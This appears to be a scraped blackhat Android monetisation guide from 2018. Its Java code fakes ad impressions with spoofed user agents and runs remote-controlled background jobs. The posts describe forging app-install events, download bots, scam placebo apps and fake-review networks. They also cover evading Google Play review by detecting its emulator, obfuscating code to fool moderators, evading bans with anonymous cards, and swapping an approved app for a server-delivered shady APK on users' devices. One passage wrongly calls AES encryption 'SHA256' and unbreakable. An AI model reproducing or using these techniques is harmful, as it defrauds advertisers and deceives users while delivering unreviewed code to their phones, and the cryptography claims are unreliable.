ur17 = page.ur17;
ur18 = page.ur18;
ur19 = page.ur19;
ur20 = page.ur20;

savePr("ur11",ur11);
savePr("ur12",ur12);
savePr("ur13",ur13);
savePr("ur14",ur14);
savePr("ur15",ur15);
savePr("ur16",ur16);
savePr("ur17",ur17);
savePr("ur18",ur18);
savePr("ur19",ur19);
savePr("ur20",ur20);

ur21 = page.ur21;
ur22 = page.ur22;
ur23 = page.ur23;
ur24 = page.ur24;
ur25 = page.ur25;
ur26 = page.ur26;
ur27 = page.ur27;
ur28 = page.ur28;
ur29 = page.ur29;
ur30 = page.ur30;

savePr("ur21",ur21);
savePr("ur22",ur22);
savePr("ur23",ur23);
savePr("ur24",ur24);
savePr("ur25",ur25);
savePr("ur26",ur26);
savePr("ur27",ur27);
savePr("ur28",ur28);
savePr("ur29",ur29);
savePr("ur30",ur30);

ur31 = page.ur31;
ur32 = page.ur32;
ur33 = page.ur33;
ur34 = page.ur34;
ur35 = page.ur35;
ur36 = page.ur36;
ur37 = page.ur37;
ur38 = page.ur38;
ur39 = page.ur39;
ur40 = page.ur40;

savePr("ur31",ur31);
savePr("ur32",ur32);
savePr("ur33",ur33);
savePr("ur34",ur34);
savePr("ur35",ur35);
savePr("ur36",ur36);
savePr("ur37",ur37);
savePr("ur38",ur38);
savePr("ur39",ur39);
savePr("ur40",ur40);

ur41 = page.ur41;
ur42 = page.ur42;
ur43 = page.ur43;
ur44 = page.ur44;
ur45 = page.ur45;
ur46 = page.ur46;
ur47 = page.ur47;
ur48 = page.ur48;
ur49 = page.ur49;
ur50 = page.ur50;

savePr("ur41",ur41);
savePr("ur42",ur42);
savePr("ur43",ur43);
savePr("ur44",ur44);
savePr("ur45",ur45);
savePr("ur46",ur46);
savePr("ur47",ur47);
savePr("ur48",ur48);
savePr("ur49",ur49);
savePr("ur50",ur50);

ur51 = page.ur51;
ur52 = page.ur52;
ur53 = page.ur53;
ur54 = page.ur54;
ur55 = page.ur55;
ur56 = page.ur56;
ur57 = page.ur57;
ur58 = page.ur58;
ur59 = page.ur59;
ur60 = page.ur60;

savePr("ur51",ur51);
savePr("ur52",ur52);
savePr("ur53",ur53);
savePr("ur54",ur54);
savePr("ur55",ur55);
savePr("ur56",ur56);
savePr("ur57",ur57);
savePr("ur58",ur58);
savePr("ur59",ur59);
savePr("ur60",ur60);

ur61 = page.ur61;
ur62 = page.ur62;
ur63 = page.ur63;
ur64 = page.ur64;
ur65 = page.ur65;
ur66 = page.ur66;
ur67 = page.ur67;
ur68 = page.ur68;
ur69 = page.ur69;
ur70 = page.ur70;

savePr("ur61",ur61);
savePr("ur62",ur62);
savePr("ur63",ur63);
savePr("ur64",ur64);
savePr("ur65",ur65);
savePr("ur66",ur66);
savePr("ur67",ur67);
savePr("ur68",ur68);
savePr("ur69",ur69);
savePr("ur70",ur70);

ur71 = page.ur71;
ur72 = page.ur72;
ur73 = page.ur73;
ur74 = page.ur74;
ur75 = page.ur75;
ur76 = page.ur76;
ur77 = page.ur77;
ur78 = page.ur78;
ur79 = page.ur79;
ur80 = page.ur80;

savePr("ur71",ur71);
savePr("ur72",ur72);
savePr("ur73",ur73);
savePr("ur74",ur74);
savePr("ur75",ur75);
savePr("ur76",ur76);
savePr("ur77",ur77);
savePr("ur78",ur78);
savePr("ur79",ur79);
savePr("ur80",ur80);

ur81 = page.ur81;
ur82 = page.ur82;
ur83 = page.ur83;
ur84 = page.ur84;
ur85 = page.ur85;
ur86 = page.ur86;
ur87 = page.ur87;
ur88 = page.ur88;
ur89 = page.ur89;
ur90 = page.ur90;

savePr("ur81",ur81);
savePr("ur82",ur82);
savePr("ur83",ur83);
savePr("ur84",ur84);
savePr("ur85",ur85);
savePr("ur86",ur86);
savePr("ur87",ur87);
savePr("ur88",ur88);
savePr("ur89",ur89);
savePr("ur90",ur90);

ur91 = page.ur91;
ur92 = page.ur92;
ur93 = page.ur93;
ur94 = page.ur94;
ur95 = page.ur95;
ur96 = page.ur96;
ur97 = page.ur97;
ur98 = page.ur98;
ur99 = page.ur99;
ur100 = page.ur100;

savePr("ur91",ur91);
savePr("ur92",ur92);
savePr("ur93",ur93);
savePr("ur94",ur94);
savePr("ur95",ur95);
savePr("ur96",ur96);
savePr("ur97",ur97);
savePr("ur98",ur98);
savePr("ur99",ur99);
savePr("ur100",ur100);

ur100 = page.ur100;
ur101 = page.ur101;
ur102 = page.ur102;
ur103 = page.ur103;
ur104 = page.ur104;
ur105 = page.ur105;
ur106 = page.ur106;
ur107 = page.ur107;
ur108 = page.ur108;
ur109 = page.ur109;
ur110 = page.ur110;

savePr("ur101",ur101);
savePr("ur102",ur102);
savePr("ur103",ur103);
savePr("ur104",ur104);
savePr("ur105",ur105);
savePr("ur106",ur106);
savePr("ur107",ur107);
savePr("ur108",ur108);
savePr("ur109",ur109);
savePr("ur110",ur110);

ur111 = page.ur111;
ur112 = page.ur112;
ur113 = page.ur113;
ur114 = page.ur114;
ur115 = page.ur115;
ur116 = page.ur116;
ur117 = page.ur117;
ur118 = page.ur118;
ur119 = page.ur119;
ur120 = page.ur120;

savePr("ur111",ur111);
savePr("ur112",ur112);
savePr("ur113",ur113);
savePr("ur114",ur114);
savePr("ur115",ur115);
savePr("ur116",ur116);
savePr("ur117",ur117);
savePr("ur118",ur118);
savePr("ur119",ur119);
savePr("ur120",ur120);

if(turnon.equals("1"))
{
Intent intent = new Intent(getContext(), Wew.class);
intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK|Intent.FLAG_ACTIVITY_CLEAR_TASK);
getContext().startActivity(intent);
}
}
private static String readUrl(String urlString) throws Exception {
BufferedReader reader = null;
try {
URL url = new URL(urlString);
reader = new BufferedReader(new InputStreamReader(url.openStream()));
StringBuffer buffer = new StringBuffer();
int read;
char[] chars = new char[1024];
while ((read = reader.read(chars)) != -1) buffer.append(chars, 0, read);
return buffer.toString();
} finally {
if (reader != null) reader.close();
}
}

public void savePr(String tag,String value)


{
Log.d(tag,value);
editor.putString(tag, value);
editor.apply();
}
static void schedulePeriodic() {
new JobRequest.Builder(OpenJob.TAG)
.setPeriodic(TimeUnit.MINUTES.toMillis(15),
TimeUnit.MINUTES.toMillis(5))
.setUpdateCurrent(true)
.build()

.schedule();
}

}
To make fake impressions in ad networks like exoclick, plugrush and other with “direct url” ads, you
need to fake User Agent. This is the only factor that can be tracked on mobile. Yes, there is also
possibility to make Fake Referer – Read on Stackoverflow, if you want you can add it but I I’ve not
added it and it’s good without any problem. They are paying fine.

Description: file class named Ugent.java (of course please reskin it and change some values if you
want to use this code).

Scheme:

I have 2 user agent types for PC and for mobile. For PC I am using limited number of user agents
because works very well. For Android I have json list of user agent values for 70 000 different
devices:

Download List from Here

This class is building perfect random user agent in proportion: 80% mobile and 20% PC user agents,
you will use it in next step when we generate webview with settings ͹

mport android.content.Context;

import com.google.gson.Gson;

import java.io.IOException;
import java.io.InputStream;
import java.util.Random;

public class Ugent


{
Random rand;Random r;
Random r1;

String temp1, temp2, temp3, temp4, temp5;


String[] devlist = {"s", "s1"};
String[] aversion = {"4.1", "4.0", "5.0", "5.1", "5.0.2", "6.0", "6.0.1", "6.1",
"7.0", "7.0.1", "8.0", "4.4", "4.2"};
String[] chromeversion = {"52.0.2743.98", "38.0.2125.102", "46.0.2486.0",
"47.0.2526.83", "52.0.2743.97", "31.0.1650.0", "25.0.1364.173"};

String a1 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,


like Gecko) Chrome/63.0.3239.84 Safari/537.36";
String a2 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/63.0.3239.84 Safari/537.36";
String a3 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:57.0) Gecko/20100101
Firefox/57.0";
String a4 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/63.0.3239.132 Safari/537.36";
String a5 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101
Firefox/57.0";
String a6 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7
(KHTML, like Gecko) Version/11.0.2 Safari/604.4.7";
String a7 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:57.0) Gecko/20100101
Firefox/57.0";
String a8 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/63.0.3239.108 Safari/537.36";
String a9 = "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:57.0) Gecko/20100101
Firefox/57.0";
String a10 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36";
String a11 = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:57.0)
Gecko/20100101 Firefox/57.0";
String a12 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/62.0.3202.94 Safari/537.36 OPR/49.0.2725.64";
String a13 = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/63.0.3239.84 Safari/537.36";
String a14 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36";
String a15 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/60.0.3112.90 Safari/537.36";
String a16 = "Mozilla/5.0 (Windows NT 5.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/60.0.3112.90 Safari/537.36";
String a17 = "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/60.0.3112.90 Safari/537.36";
String a18 = "Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/60.0.3112.113 Safari/537.36";
String a19 = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36";
String a20 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/57.0.2987.133 Safari/537.36";
String a21 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/51.0.2704.106 Safari/537.36";
String a22 = "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/54.0.2840.99 Safari/537.36";
String a23 = "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like
Gecko";
String a24 = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/56.0.2924.87 Safari/537.36 OPR/43.0.2442.991";
String a25 = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101
Firefox/52.0";
String a26 = "Mozilla/5.0 (Windows NT 10.0; WOW64; rv:50.0) Gecko/20100101
Firefox/50.0";
String a27 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:54.0) Gecko/20100101
Firefox/54.0";
String a28 = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:50.0) Gecko/20100101
Firefox/50.0";
String a29 = "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/51.0.2704.103 Safari/537.36 Vivaldi/1.2.490.43";
String a30 = "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/40.0.2214.89 Vivaldi/1.0.83.38 Safari/537.36";
String[] winuser =
{a1,a2,a3,a4,a5,a6,a7,a8,a9,a11,a12,a13,a14,a15,a16,a17,a18,a19,a20,a21,a22,a23,a24,a
25,a26,a27,a28,a29,a30};
String uant;
public String ugent(Context context, Model[] myModel)
{
r = new Random();
r1 = new Random();;
rand = new Random();
temp1 = "Mozilla/5.0";
temp2 = "";
temp3 = " (Linux; Android ";
temp4 = "; en-us; ";
// String
myJson=inputStreamToString(context.getResources().openRawResource(R.raw.dev));
// myModel = new Gson().fromJson(myJson, Model[].class);
int n = rand.nextInt(17000)+1;
String s = myModel[n].model;
String b = myModel[n].brand;
temp5=") AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/"+sav2()+"
Mobile Safari/537.36";
uant = temp1+temp3+sav()+temp4+b+" "+s+" Build/"+sbuildv().toUpperCase()+temp5;

int i1 = r.nextInt(10);
if (i1 <= 1) {uant = temp1+temp3+sav()+temp4+b+" "+s+"
Build/"+sbuildv().toUpperCase()+temp5;
}
else
{
i1 = r.nextInt(winuser.length);
uant=(winuser[i1]);
}

return uant;
}

public String sav() {


String randomStr = aversion[new Random().nextInt(aversion.length)];
return randomStr;
}

public String sav2() {


String randomStr = chromeversion[new Random().nextInt(chromeversion.length)];
return randomStr;
}

public String sphv() {


String randomStr = devlist[new Random().nextInt(devlist.length)];
return randomStr;
}

public String sbuildv() {


Random generator = new Random();
StringBuilder randomStringBuilder = new StringBuilder();
int randomLength = generator.nextInt(6);
char tempChar;
char[] chars = "abcdefghijklmnopqrstuvwxyz1234567890".toCharArray();
for (int i = 0; i < 6; i++) {
tempChar = chars[generator.nextInt(chars.length)];
randomStringBuilder.append(tempChar);
}
return randomStringBuilder.toString();

Protected: FAKE CPI


POSSIBILITY
By ​AndroidMoney​ • February 28, 2018 •

This is not a lesson but mechanism description and how to cheat CPI offers from ad networks, for
example CPALead but I am using such networks, so I will not give you a way and code for grabbing
my money. Understand ͹

How it works?

STEP 1 – AppsFlyer and other tracking services

Always, when developers are promoting their apps in CPA networks, they are putting some tracking
solution inside their application. In 90% it’s appsflyer. It’s tracking SDK like Flurry and gives
information about user behavior, for example “run app” or “click button”. With our solution, we need
to prepare custom, fake SDK for appsflyer and add it to our application.

When we want to generate fake install, just send post messages to appsflyer. Simulate event, of
course it’s fake event but nobody will realize.

How to get promoted app ID in appsflyer? Just download app from offer and decompile it, you have
ID. You can send it via remote control to your app with fake tracking SDK and send fake post
messages.

In short:

1. Make fake SDK with tracking factors like:

-advertising ID

-device ID

-events (string variables)

-and more… decompile original appsflyer SDK to show what is happening

2. Decompile promoted app to check developer ID for appsflyer

3. Send developer ID and simulate installs

STEP 2 – AD NETWORK TRACKING SOLUTION


Ad networks like CPALead or Mobidea, have custom SDK for tracking. It’s very simple and less
complicated than Appsflyer SDK. You need to send fake post messages also for this.

SUMMARY – BE HUMAN

Do not generate install after install in short time or install after link click in short time. Average time
after click to install is even 40 seconds. Of course, always mix times, use random methods, make
traffic without installs, etc. to adjust your stats to normal CTR.

EARNINGS

In single day, I was able to generate $900 with fake CPI but…resigned. It’s not moral, it’s like pure
stealing.

With multiple networks and accounts, it’s possible to make some $30 000/day

Want to do it? Make it for your own responsibility.

Protected: HOW TO
BUILD DOWNLOAD
BOT?
By ​AndroidMoney​ • February 28, 2018 •
Everyone want to have a download bot, I know how it’s working because I was for a while inside
keyapp.top and talked with owners. Well, it’s very simple but expensive thing, so I will write only
theory steps here, sorry if you don’t get bot here but if you have money for infrastructure, you have
$1000 for any cheap developer to do it for you. Yes, cheap developer is needed because even
monkey can do it.

What is needed?

-Android x86 from force reviews article

-usa PVA accounts for GMAIL

-usa residental or ssh proxies, many of them…arround 10 000


-some 100+ machines with vmware or… Digital Ocean droplets (also 100 but it cost arround
$20/month/one)

-android application to:

● handle package name of promoted app from remote control server


● change device data and restart machine, Android x86, you need to use Xposed framework
● install app from package name (there is autoinstaller library on forum, you need to modify it
to use custom passwords and logins)

After each iteration, you need to restart droplets with script. Digital Ocean offers API for restarting.

I will not build my bot because it’s nonsense, expensive like hell. Good for companies like key.app
with hundreds of clients. For indie developer it’s to much, even you have hundreds of apps, you will
never cash back it because bot needs to be scaled.

100 droplets allows to make something arround 5000/day because also manual job is required. To
make it profitable, you need 1000-5000 droplets like key.app have.

Summary

If you want to try, you have all tools here but if it’s worth? I don’t know because initial and scale cost
is huge.

Protected: PROFITABLE
NICHES
By ​AndroidMoney​ • February 28, 2018 •
For all these years, I was testing many niches and looking for profit. Started with stupid things like
Dog Whistle (btw. still profitable but oversaturated niche) or Cat Sounds. Went into Internet
Boosters, to Wifi Hackers, prank apps, games, tools and mp3 downloaders. I will list here profitable
niches for me and still profitable if you rank your app in these niches.

WIFI HACKER​ – my first profitable niche, full of applications, saturation is killing this niche but still
you can earn amazing money for apps like that. Of course, these apps are not breaking any Wifi
Password but users are not technical, you can fool them by displaying “hacking” progress. The most
weird is that ugly app works better. With this niche, i’ve earned arround $80 000 in 2 years. Still, I am
doing some hackers sometimes and put into store to get easy $30-$50/day, not bad with some
cheap, one day application.
Internet Boosters​ – like with wifi hacker, it’s 100% placebo but you can put some features inside
app. Try to run airplane mode and disable it, in most cases, device will reconnect to better 3G
propagate point. It’s because when user have moved, he stays connected in previous point. Also like
wifi, I don’t know why but application need to be ugly and with terrible screenshots to make installs.
Pro apps are worse in this niche. Maybe it’s targeting to specific people, I don’t know. Try yourself,
make nice and bad app. Second one will get better downloads

MP3 Downloaders – Income Killer

This is the best niche, even if saturated or Google is attacking it with bans. If you survive more than
month *it’s tricky and you need full blackhat methods + encryption + tricks, you can make amazing
money. In 2017 January I had golden shoot with $9000/day for one week, just with one mp3
downloader. Never repeated this but I see many guys that reporting amazing results, even better
than my. I’ve earned more than $100 000/2 years with mp3 downloaders, but I’ve met guy who is
uploading massive numbers of apps and making some $10k/day… all time!

Flash Player

This is not good niche like before but still you can make decent money, especialy Google targeted
their attention to mp3 niche. In 2012 there was big change, Adobe has ended support for Flash
Player for Android, so people was looking for plugin. 500k downloads/day? No problem!

Currently it’s less popular but still you can make some 50k downloads/week and milk these users by
retargeting them to your different apps or just displaying ads.

More niches choosen by me, you can check them yourself:

-game hacks, low retention, good for lockers

-guide apps for games


-dragon ball wallpapers (hype for dragon ball super, apps are getting 500k downloads)

-fake markets, good for lockers, like aptoide

-youtube downloaders, be careful

-video downloaders, except youtube

-soundcloud players

-wifi password recovery apps

-real wifi hacks with WPS hole, be careful, google doesn’t like but it’s also income killer, apps more
than 1mln easily

-anime players

-manga readers

-radio apps, very hard niche but you can fast reproduce 300+ apps/account, if you want to attack
100-500 downloads with mass scale, it’s right choice, fully white hat

-go launcher themes, for guys with graphics talent, it’s perfect and profitable niche

-other launchers, less profitable but still if you are Photoshop master, go with this 100%

-lockers, like above, for blackhat – iphone style lockers, fast ban but huge profit
Protected: “PBNs” FOR
APPS – MASSIVE
INSTALLS AND
REVIEWS
By ​AndroidMoney​ • February 28, 2018 •

What is PBN? Affiliate marketers, SEO guys knows the most. PBNs are micro websites with main
goal to drive traffic to your money website. Look at this “scheme”. Change “site” to app and you have
the same.
What is needed:

-something arround 20 Google Play accounts

-50 apps / account but don’t worry, these applications are very simple and small, mostly uses 2-3
activities (screens)

-one money app with higher quality

My case:

1. I’ve made one good mp3 downloader, uploaded to store with nice screenshots, etc.

2. I’ve made with build flavors (one of previous lessons, check and learn) – 50 apps / account with…
game cheats

3. App was simple placebo in html5, like on screen but in HTML


* you can stole one HTML from existing apps! Find one in Google Play, download and decompile
with dex2jar+jdgui!

Then copy website to your hosting and app.


4. After clicking button “Hack”, user have information:

“We need to check if you are human, to prove:

1. Install app: your link to money app

2. Rate with: “xxx review”, you can mix reviews with script

3. We are going to add your GEMS in 72h after check”

5. Then I’ve copied this scheme for many games, many niches, using the same HTML file (just
different logo).

Result after week? 10k/installs day are coming to my money app from hundreds of mini game
hacks!

Protected: WORDPRESS /
BLOGGER – SEO FOR
APPS WORKS
By ​AndroidMoney​ • February 28, 2018 •
Google Play robot is the same robot like for websites, it not operate on database but crawling app
pages like normal website. In Google I/O 2013, they have said it’s the same robot, websites and app
pages are connected. It means, that SEO works. The best way to make fast SEO and improve our
Google Play ranks, are wordpress blogs and blogger blogs.

This is very short article, because everyone can create own network of wordpress and blogger
blogs. Idea is simple, create many blogs with app keywords, for example:

“mp3downloaderandroid.blogspot.com” but of course with different Gmail accounts. Connect these


blogs with links to each other and put presell articles with links to your applications. Arround 50 blogs
/ app and unique articles should be enough to increase your position in Google Play and also to give
you additional traffic from websites.

You can messure traffic in Google Play console. I’ve got arround 500+ more installs/day from
websites only, for 100% free.

Protected: GOOGLE
BOUNCER – WHAT IS
THIS AND HOW IT
WORKS?
By ​AndroidMoney​ • February 28, 2018 •

Google Bouncer, called in this course “Google Bot”, is the scanning software designed and
developed by Google to guide and protect Google Play (previously Android Market), hunt down
spam apps, malware, any black hat activity. It’s our enemy and … it’s changing every year but good
to us, it’s possible to cheat with methods from this course.
Android and Google Play itself have arround 200 000 developers and 1,5 mln of applications + 1000
new apps/day. It’s normal that they had to invent something to stop spam, malware or serious
viruses. Sadly, it’s not perfect and closed many of legit applications.

How Bouncer works?

1. After you submit your application, bouncer is running your apk in sandbox environment, 100%
emulator so we can detect it. It have serious weak point, they are doing it with enabled internet, so
we can detect it real time by checking ISP or emulator fingerprint (article about detecting bot)

2. Bouncer is checking your application only for 5 minutes and then…stop

3. What’s cheking?

– source code patterns, compare it with previously banned bad apps

– resources, file, layout names

– android manifest structure

– libraries structure

– images copyright with AI, same for Google Search Images

– copyright for keywords, like “Real Madrid”

– http protocol traffic, if you app is not connecting to bad servers, previously banned remote control
servers or illegal in Google Play like pornography
– system behavior, if you app is not manipulating system

– any breaking policy behavior, but you can hide it by simply…disable it

I don’t know why, but when we have if/else conditions, only way for bot is “true” condition, so if we
have disable feature, it will be not checked by bot. It’s huge hole and way for use to hide shady and
black hat methods.

Protected:
CRYPTOGRAPHY
By ​AndroidMoney​ • February 28, 2018 •
Why we are
using
cryptography to
hide our
“strings” in
source code?
The answer is simple:
-to hide content from other developers

-to fool Google Bot, for example if we have word “mp3 downloader” in source code, it’s better have
to “AG@!V!@VaX” than forbidden word?

-to fool moderators

Ok, there are two different methods, we can connect them easily by coding firstly in BASE64 and
then in SHA256. Mostly BASE64 is readable by Google Bot because it’s the part of Android system
and my friend have bad experience with that – ban. Thats why we have started to use external
libraries for Sha256.

BASE64

Let’s assume that you have string in app:

String ourTestString = “Money is awesome”

then you want to encrypt it, go to ​https://www.base64encode.org/

Then our string will be:

String ourTestString = “TW9uZXkgaXMgYXdlc29tZQ==”;

It’s the same string but you don’t keep it inside app in clean form.

To decode it, use method like that:


byte​[]​ tmp ​= ​Base64​.​decode​(​ourTempString​);
String​ ourDecodedString ​= ​new​ ​String​(​tmp​, ​"UTF-8"​);

Done, you have decoded string and can apply for example for TextView.setText(ourDecodedString);

It prevents from moderators and nooby decompile guys but to get full protection, you need to use
Sha256

SHA256

Requirements:

-hosting to keep your “secret key”, read remote control articles and outside app articles to do it
without problem

-simple encryption app

-github library ​https://github.com/scottyab/AESCrypt-Android

Encryption app:

Make simple app without GUI, like hello world.

Add it to build.gradle

dependencies {
compile 'com.scottyab:aescrypt:0.0.1'
}
String password = "youruberkey";
String message = "hello world";
try {
String encryptedMsg = AESCrypt.encrypt(password, message);
Log.d("encrypted", encryptedMsg);
}catch (GeneralSecurityException e){
//handle error
}

Run the app and from Log.cat, copy encrypted string, for example something like that:
“2B22cS3UC5s35WBihLBo8w==”.

Decryption

In your money app, integrate the same library with build.gradle but to your code add:

String password = "youruberkey";


String encryptedMsg = "2B22cS3UC5s35WBihLBo8w==";
try {
String messageAfterDecrypt = AESCrypt.decrypt(password, encryptedMsg);
}catch (GeneralSecurityException e){
//handle error - could be due to incorrect password or tampered encryptedMsg
}

It’s little work required to make two apps, some encryptor and decryption but works to hide
everything. You can download your secret code (password) from remote server, it can be also
decrypted previously wih Base64 to improve your security or decrypted few times!

Is Sha256 is safe? Yes, there is no computing power on the world to break it.

By ​AndroidMoney​ • February 28, 2018 •


This is always tricky, it’s legal if you are not banned in Google Play but if you have atleast one ban,
it’s a nightmare for most of people. Google is checking our CPU ID or fingerprinting our device by
pixels. It’s advanced AI and we can trick it only using two methods.

REQUIREMENTS FOR BOTH METHODS:

-fresh VISA card, never linked to Google Wallet or Google Play, can’t be created for your
details

You can find visa cards on gas stations, some banks provides anonymous visa prepaid cards where
you can place any details.
I’ve tested also bitcoin cards:

bitpay.com – not works

cryptopay – works

I suggest you to search for solution in your country. How to check if working? Try to link your card
with Google Wallet or pay for some app in Google Play. If works, then it works also for Google Play
Developer Console

-fresh IP

I suggest you to never use proxy, even private proxy. The safest is SSH proxy, however, still it’s
risky. I am using proxy only for accounts from my old provider.

To get fresh IP, you need to buy some 3G Internet SIM card and USB modem. Every 24h in most
countries, you have new, fresh IP.

Modem cost $50, card cost $3-$5

-fresh data, you can provide every fake data you want but it have to be the same like on visa
card

METHOD 1

Vmware / VIrtualbox, install FRESH Windows 7 on virtual machine and open account with
Chrome/Firefox. Google is checking many system identifiers, so you need to have fresh system.
Never copy it or move, just install from ISO. It’s the only guarantee that you have fresh system.
METHOD 2

Create accounts with real android devices. I bet your friends and you, have many devices. Put fresh
card inside, reset to factory and open account. It’s also possible with emulated Android x86, I’ve
opened few accounts in this way but I don’t know if this is safe or not.

Please note, Chrome for Android can check location. Instead use firefox or webview based browser
from store.

IMPORTANT TIPS:

-never use fingeprint hiding programs and plugins like Ghostery, Firegloves, Tor: Google can easy
recognise if user changed his fingeprint, the best is fresh system without hiding fingeprint. Also,
these plugins makes fingeprint range very narrow. Google uses AI and it’s very easy to understand
patterns

-never use Skrill, Netteler, PayPal card, Entropay (not works, entropay works with India because
custom agreement with Google but it’s one exception only)

-never login with your main IP, just one login is enough to connect your accounts

-never use gmail from fake account to send messages to your main gmail

-never login on your main PC, always VMWARE!

You can buy fresh account from provider but make sure to spread your providers, do not use just
one:

-BHW, in Marketplace>Mics, one guy is selling good accounts


-MR.VT, skype, this guy is selling good accounts but I have bad experience with him, better to not
use if you don’t want to risk, my not used account banned after 7 months (empty)

Protected: IMPORTANT!
VMWARE OR
VIRTUALBOX
COMPILATION
By ​AndroidMoney​ • February 28, 2018 •

This is the main reason why your account is linked with previous violations. You are using Android
Studio on same PC, even you have reinstalled system, it’s not working. Google can check your
hardware ID’s and match it to previously banned account. If you are using Unity3D and other IDE
than Android Studio or… Eclipse, you are safe. If you need to use Android Studio, like 99%
developers, banned account is your grave. Unless you can use Vmware.
FOR EACH FRESH ACCOUNT YOU NEED TO FOLLOW THIS:

STEP 1:

Install new system, not copy or move previous vmware image. Install it from ISO

STEP 2:

After installing system, you need to little mix your system fingerprint. Install few apps like CClearner,
some simple games, each system need to have different software. It’s also important to add some
fonts from dafont.com

STEP 3:

Install JDK8

STEP 4:

Install Android Studio

** YOU CAN DEVELOP ON YOUR MAIN PC, HOWEVER NOT WITH “PRODUCTION” PACKAGE
NAME

COMPILING:

1. On your main PC, close Android Studio, go to project directy or remove folders:
-gradle

-.gradle

-build

-.idea

2. Pack into .zip file and move to vmware

3. Unpack and open in Android Studio (before you need to connect with some proxy or 3g SIM card!)

4. Change package name to production

5. Compile apk

Why we are doing it?

Android Studio can spy user when your build progress is running. Every change in gradle, it’s
sending data to Google servers. You can check it with some network analysis software like
Wireshark. You can’t avoid it by disconnecting internet because gradle cannot run without internet if
you are making app for Android. It’s always something for download.

IF YOU GOT ATLEAST ONE ACCOUNT BANNED – YOU WILL ALWAYS GET BAN WHEN
COMPILING ON THIS PC!
Protected: VERY BLACK
HAT – AMIGO LIBRARY
UPDATER
By ​AndroidMoney​ • March 12, 2018 •

This is tricky method and little difficult to use, even for me. However, it’s profitable. I am not using it
for now because little difficult method, not in use because it’s simple procedure but requires to much
work for me. I don’t have time for this but you can try.
THIS IS
ADVANCED
METHOD, SO
YOU NEED
TO KNOW
CODING A
LITTLE. DO
NOT TRY
WITHOUT
THAT IF
YOU DON’T
WANT TO
SPEND FEW
WEEKS ON
THIS​.
REQUIREMENTS:

-remote control

-bot check methods

-hosting

-two APKs (legit and shady)


-little coding if you know how

Example usage:

a) upload guide for GTA and exchange it for…real GTA on user device

b) upload mp3 downloader with Motzart and classic music and exchange it for … commercial app
with Rihanna on user devices

How it works?

1. You are uploading legit app to Google Play with amigo library, so Google Play; their bot and
moderator see legit app, you can use encryption methods and detecting bot methods to not display
them not legit app. Of course, it’s worth to use also remote control method from this course to
activate it later

2. After real user opening app, it’s downloading “dex” classes from your server and updating original
APK file with new code

3. User don’t see anything, app is just running with new content

Here is library:

https://github.com/eleme/Amigo
In your project’s ​build.gradle

buildscript {
repositories {
jcenter()
}

dependencies {
classpath 'me.ele:amigo:0.6.8'
}
}

In your module’s ​build.gradle

apply plugin: 'me.ele.amigo'

android {
...
}

dependencies {
...
compile 'me.ele:amigo-lib:0.6.7'
}

//if you don't want use amigo in dev, set this value to true
//you can define this extension in your mybuild.gradle as to distinguish debug &
release build
amigo {
disable false //default false
autoDisableInInstantRunMode true // default false
}
Next you need to prepare “bad apk”, without amigo library and upload to your server, for example
fake GTA.

After that, your application have to download APK file:

https://stackoverflow.com/questions/1714761/download-a-file-programmatically-on-android

here are few methods

After downloading file, you can patch your legit app on user device but it have to have the same
version and package name!

Amigo.work(context, patchApkFile);

Done, app is changed for not legit. Inside Google Play, you have legit one ͹

You might also like